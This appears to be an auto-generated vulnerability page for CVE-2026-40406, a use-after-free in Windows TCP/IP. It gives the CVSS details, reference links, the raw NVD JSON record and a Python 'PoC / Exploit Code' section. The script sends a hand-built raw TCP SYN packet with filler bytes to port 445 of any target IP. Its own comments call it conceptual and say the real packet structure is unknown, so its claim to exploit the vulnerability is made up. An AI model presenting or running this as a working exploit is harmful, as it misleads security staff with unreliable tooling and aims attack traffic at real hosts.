CVE-2026-40406

Description

Use after free in Windows TCP/IP allows an unauthorized attacker to disclose information over a network.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Windows (详细版本需参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct
import sys

# Conceptual Proof of Concept for CVE-2026-40406
# This script attempts to trigger the UAF in Windows TCP/IP.
# Note: Actual packet structure requires reverse engineering.

def create_malformed_packet(src_ip, dst_ip, dst_port):
    # IP Header construction
    ip_ihl = 5
    ip_ver = 4
    ip_tos = 0
    ip_tot_len = 0  # Kernel will fill this
    ip_id = 54321
    ip_frag_off = 0
    ip_ttl = 64
    ip_proto = socket.IPPROTO_TCP
    ip_check = 0  # Kernel will fill this
    ip_saddr = socket.inet_aton(src_ip)
    ip_daddr = socket.inet_aton(dst_ip)

    ip_header = struct.pack('!BBHHHBBH4s4s', (ip_ver << 4) + ip_ihl, ip_tos, ip_tot_len,
                            ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)

    # TCP Header construction designed to trigger race condition/UAF
    tcp_source = 12345
    tcp_dest = dst_port
    tcp_seq = 1000
    tcp_ack_seq = 0
    tcp_doff = 5
    tcp_flags = 0x002  # SYN
    tcp_window = socket.htons(5840)
    tcp_check = 0
    tcp_urg_ptr = 0

    tcp_header = struct.pack('!HHLLBBHHH', tcp_source, tcp_dest, tcp_seq, tcp_ack_seq,
                             (tcp_doff << 4) | 0, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)

    # Payload that might influence the freed object size
    payload = b'A' * 20

    packet = ip_header + tcp_header + payload
    return packet

def main(target_ip):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
        s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        packet = create_malformed_packet('192.168.1.2', target_ip, 445)
        s.sendto(packet, (target_ip, 0))
        print(f'[*] Malformed packet sent to {target_ip}')
        s.close()
    except PermissionError:
        print('[-] Error: Root/Admin privileges required.')
    except Exception as e:
        print(f'[-] Error: {e}')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python cve_2026_40406_poc.py <target_ip>')
    else:
        main(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40406
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40406
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40406/
[4] VulDB https://vuldb.com/cve/CVE-2026-40406
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40406", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:18.430", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows TCP/IP allows an unauthorized attacker to disclose information over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406", "source": "[email protected]"}]}}